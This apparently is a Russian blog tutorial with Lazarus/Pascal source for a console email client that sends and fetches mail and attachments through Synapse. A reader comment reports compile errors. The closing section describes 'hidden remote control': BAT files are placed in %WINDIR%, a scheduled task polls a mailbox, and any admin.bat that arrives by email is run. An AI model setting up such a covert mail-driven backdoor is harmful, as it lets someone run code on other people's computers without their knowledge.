воскресенье, 24 июня 2012 г.

Lazarus - пишем консольный email - клиент


Консольный email-клиент НЕ удобен, если постоянно работать с ним из командной строки. Но если написать пару BAT-файлов то это будет очень удобный инструмент:
- массовая рассылка писем;
-автоматизация получения почты и раскладывания входящих документов по папкам (а возможно - и автоматическая распечатка);
-синхронизация файлов-папок;
-удаленное управление компьютером (отчасти);
Программ такого класса, конечно, есть немало blat, zerat и т.д. Но blat только отправляет почту, а zerat настолько часто используется трояно-писаками, что AVG 2012 его тут же "съел", как только он докачался с сайта автора.
Напишу сам, решил я. И с Вами поделюсь:
1. Скачиваем библиотеку подпрограмм Synapse - она лучше чем Indy на мой вкус.
2. Распаковываем в папку например YMAIL на рабочий стол
3. Создаем в Lazarus новый проект "консольное приложение" и сохраняем в ту же папку
4. Вставляем текст

program YMALER;
 
{$mode objfpc}{$H+}
 
uses
  {$IFDEF UNIX}{$IFDEF UseCThreads}
  cthreads,
  {$ENDIF}{$ENDIF}
  Classes, SysUtils, CustApp,
  mimemess, mimepart, smtpsend,pop3send;
 
type
  Emailer = class(TCustomApplication)
  protected
    procedure DoRun; override;
  public
    constructor Create(TheOwner: TComponent); override;
    destructor Destroy; override;
    procedure WriteHelp; virtual;
  end;
  var test:boolean;
Procedure SendMail (pHost, pSubject, pTo, pFrom , pTextBody, pHTMLBody,login,password,port,proxyip,proxyport : string;Files:TStrings);
    var tmpMsg : TMimeMess;
        tmpStringList : TStringList;
        tmpMIMEPart : TMimePart;
        i:integer;
begin
    tmpMsg := TMimeMess.Create;
    tmpStringList := TStringList.Create;
    try
        // Headers
        tmpMsg.Header.Subject := pSubject;
        tmpMsg.Header.From := pFrom;
        tmpMsg.Header.XMailer:='TheBat';
        tmpMsg.Header.ToList.Add(pTo);
         if test then Writeln('Заголовок письма готов');
        // MIMe Parts
        tmpMIMEPart := tmpMsg.AddPartMultipart('alternate',nil);
 
        if length(pTextBody)>0 then
           begin
             tmpStringList.Text := pTextBody;
             tmpMsg.AddPartText(tmpStringList, tmpMIMEPart);
           end
        else
          begin
            tmpStringList.Text := pHTMLBody;
            tmpMsg.AddPartHTML(tmpStringList, tmpMIMEPart);
          end;
                   if test then Writeln('Тело сформировано');
        if Files.count>0 then begin
          For i:=0 to Files.count-1 do
            tmpMsg.AddPartBinaryFromFile(Files[i],tmpMIMEPart);
        end;
                 if test then Writeln('Файлы вложены');
        // кодируем и отправляем
        tmpMsg.EncodeMessage;
                 if test then Writeln('Письмо готово для отправки');
        if length(port)>0 then smtpsend.cSmtpProtocol:=port;
        smtpsend.SendToRaw(pFrom, pTo, pHost, tmpMsg.Lines, login, password,proxyip,proxyport);
        finally
        tmpMsg.Free;
        tmpStringList.Free;
    end;     end;
function Replace(Str, X, Y: string): string;
var
  buf1, buf2, buffer: string;
 
begin
  buf1 := '';
  buf2 := Str;
  Buffer := Str;
 
  while Pos(UpperCase(X), UpperCase(buf2)) > 0 do
  begin
    buf2 := Copy(buf2, Pos(UpperCase(X), UpperCase(buf2)), (Length(buf2) - Pos(UpperCase(X),UpperCase(buf2))) + 1);
    buf1 := Copy(Buffer, 1, Length(Buffer) - Length(buf2)) + Y;
    Delete(buf2, Pos(UpperCase(X), UpperCase(buf2)), Length(X));
    Buffer := buf1 + buf2;
  end;
 
  Replace := Buffer;
end;
Procedure GetEmail(pop3host,login,password,path,port:string);
var   pop3:Tpop3send;
  FMimeMsg: TMimeMess;
  FMimePart: TMimePart;
  FMimePart2: TMimePart;
  LoginOk: Boolean;
 
  nMsgCount: Integer;
  nMsg: Integer;
  n: Integer;
  FName:string;
begin
FMimeMsg:=TMimeMess.Create;
pop3:=Tpop3send.Create;
FMimePart:=TMimePart.Create;
FMimePart2:=TMimePart.Create;
FMimePart:=nil;
FMimePart2:=nil;
 try
  pop3.TargetHost:=pop3host;
  pop3.UserName:=login;
  pop3.Password:=password;
  if length(port)>0 then
  pop3.TargetPort:=port;
if test then Writeln('Try to login ',pop3host,' ',login,' ',password,' ',port);
  LoginOk := pop3.Login;
  if (LoginOk) then begin
    if test then Writeln('Login OK !');
  pop3.List(0);
  pop3.stat;
    if test then writeln(pop3.StatCount,' message');
  if (fileexists(path) = false) then createdir(path);
  for nMsg := 1 to pop3.StatCount do begin
        if test then writeln('get '+IntToStr(nMsg)+' message');
    pop3.Retr( nMsg );
     FMimeMsg.Clear;
     FMimeMsg.Lines.Text := pop3.FullResult.Text;
     FMimeMsg.DecodeMessage;
          {FMimeMsg.Lines.SaveToFile(savepath+'\text.htm');}
          FMimePart := FMimeMsg.MessagePart;
           FMimePart.DecomposeParts;
          for n := 0 to FMimePart.GetSubPartCount - 1 do begin
              FMimePart2:=FMimePart.GetSubPart(n);
            if FMimePart2.FileName <> '' then begin
              FMimePart2.DecodePart;
              FName:=Replace(FMimePart2.FileName,'?','');
              FMimePart2.DecodedLines.SaveToFile( path +'\'+FName ) ;
            if test then Writeln('File saved '+path +'\'+FName);
            end;
          end;
          pop3.Dele( nMsg );
              if test then writeln('delete message');
  end;
    pop3.Logout;
    if test then writeln('logout');
  end;
  except
    if test then writeln('no login');
  end;
  pop3.Free;
  FMimeMsg.Free;
  end;
procedure Emailer.WriteHelp;
begin
  writeln('Usage: ',ExtractFileName(ExeName),' -h');
  writeln;
  writeln(ExtractFileName(ExeName)+' send smtphost smtp.bk.ru port 8110 subject "Tema pisma" to y.a.p@bk.ru fromy.x.x.y@bk.ru text "Text pisma" html "<p> Text pisma </p>" login y.x.x.y password yxxy852456 file pricaz.dox file report.xls file archive.zip');
  writeln;
  writeln(ExtractFileName(ExeName)+' get pop3host pop3.bk.ru port 8025 login y.x.x.y password yxxy852456');
  writeln('Press ENTER to continue...');
  readln;
end;
 
procedure Emailer.DoRun;
var
  ErrorMsg: String;
  smtpHost, Subject, pTo, From , TextBody, HTMLBody,login,password,pop3host,path,port,proxyip,proxyport: string;Files:TStrings;
  i:integer;
begin
    Files:=TStringList.Create;
 if paramcount>0 then
begin
 if paramstr(1)='send' then begin
 for i:=1 to paramcount do
   begin
     if (paramstr(i)='test') then test:=true;
     if (paramstr(i)='smtphost')and(i<paramcount) then smtphost:=paramstr(i+1);
     if (paramstr(i)='proxyip')and(i<paramcount) then proxyip:=paramstr(i+1);
     if (paramstr(i)='proxyport')and(i<paramcount) then proxyport:=paramstr(i+1);
     if (paramstr(i)='subject')and(i<paramcount) then subject:=paramstr(i+1);
     if (paramstr(i)='to')and(i<paramcount) then pTo:=paramstr(i+1);
     if (paramstr(i)='from')and(i<paramcount) then From:=paramstr(i+1);
     if (paramstr(i)='text')and(i<paramcount) then TextBody:=paramstr(i+1);
     if (paramstr(i)='html')and(i<paramcount) then HTMLBody:=paramstr(i+1);
     if (paramstr(i)='login')and(i<paramcount) then login:=paramstr(i+1);
     if (paramstr(i)='password')and(i<paramcount) then password:=paramstr(i+1);
     if (paramstr(i)='file')and(i<paramcount) then files.Add(paramstr(i+1));
     if (paramstr(i)='port')and(i<paramcount) then port:=paramstr(i+1);
   end;
    SendMail(smtpHost, Subject, pTo, From , TextBody, HTMLBody,login,password,port,proxyip,proxyport,Files);
    end;                                                                                                                                        {Вызов оригинальной функции немного не такой, я добавил возможность работы через http-туннель (прокси)}
  if paramstr(1)='get' then begin
  for i:=1 to paramcount do
   begin
     if (paramstr(i)='test') then test:=true;
    if (paramstr(i)='pop3host')and(i<paramcount) then pop3host:=paramstr(i+1);
    if (paramstr(i)='login')and(i<paramcount) then login:=paramstr(i+1);
    if (paramstr(i)='password')and(i<paramcount) then password:=paramstr(i+1);
    if (paramstr(i)='path')and(i<paramcount) then path:=paramstr(i+1);
    if (paramstr(i)='here')and(i<paramcount) then GetDir(0,path);
    if (paramstr(i)='port')and(i<paramcount) then port:=paramstr(i+1);
    end;
    GetEmail(pop3host,login,password,path,port);
   end;
  end else WriteHelp;
   Terminate;
  exit;
 end;
 
 
 
 
constructor Emailer.Create(TheOwner: TComponent);
begin
  inherited Create(TheOwner);
  StopOnException:=True;
end;
 
destructor Emailer.Destroy;
begin
  inherited Destroy;
end;
 
var
  Application: Emailer;
 
{$R *.res}
 
begin
  Application:=Emailer.Create(nil);
 test:=false;
  Application.Run;
  Application.Free;
end.
 
 
Скопируйте этот текст и вставьте с заменой.
Теперь скомпилируем наш проект - жмем Ctrl+F9. 
Собственно наш консольный почтовик готов.
Напишем пару BAT-файлов . К примеру, для такой задачи: 
Скрытое удаленное управление.
Напишем файлы send.bat
YMALER.exe send smtphost smtp.bk.ru subject "Proverka svyazi" to y.a.p@bk.ru from y.x.x.y@bk.ru text "Hello !" login y.x.x.y password yxxy852456 file %1
и get.bat
YMALER.exe get pop3host pop3.bk.ru login y.x.x.y password yxxy852456 here
if exist admin.bat admin.bat
if exist admin.bat del /q admin.bat
Скопируем программу+2 этих bat -файла в папку %WINDIR% на компьютер клиента.
А в Панель управления -Назначенные задания добавим задание каждые 5 минут выполнять get.bat 
 
Теперь отправив клиенту файл admin.bat вложением на адрес y.x.x.y@bk.ru 
calc.exe 
мы увидим как на его компьютере запустится калькулятор - значит все работает.
 
Исходники прграммы

1 комментарий:

  1. ошибка на строке ( if length(port)>0 then smtpsend.cSmtpProtocol:=port;)

    project1.lpr(59,32) Error: Variable identifier expected
    project1.lpr(61,9) Error: Wrong number of parameters specified for call to "SendToRaw"
    smtpsend.pas(654,10) Hint: Found declaration: SendToRaw(const AnsiString,const AnsiString,const AnsiString,const TStrings,const AnsiString,const AnsiString):Boolean;
    project1.lpr(229) Fatal: There were 2 errors compiling module, stopping

    ОтветитьУдалить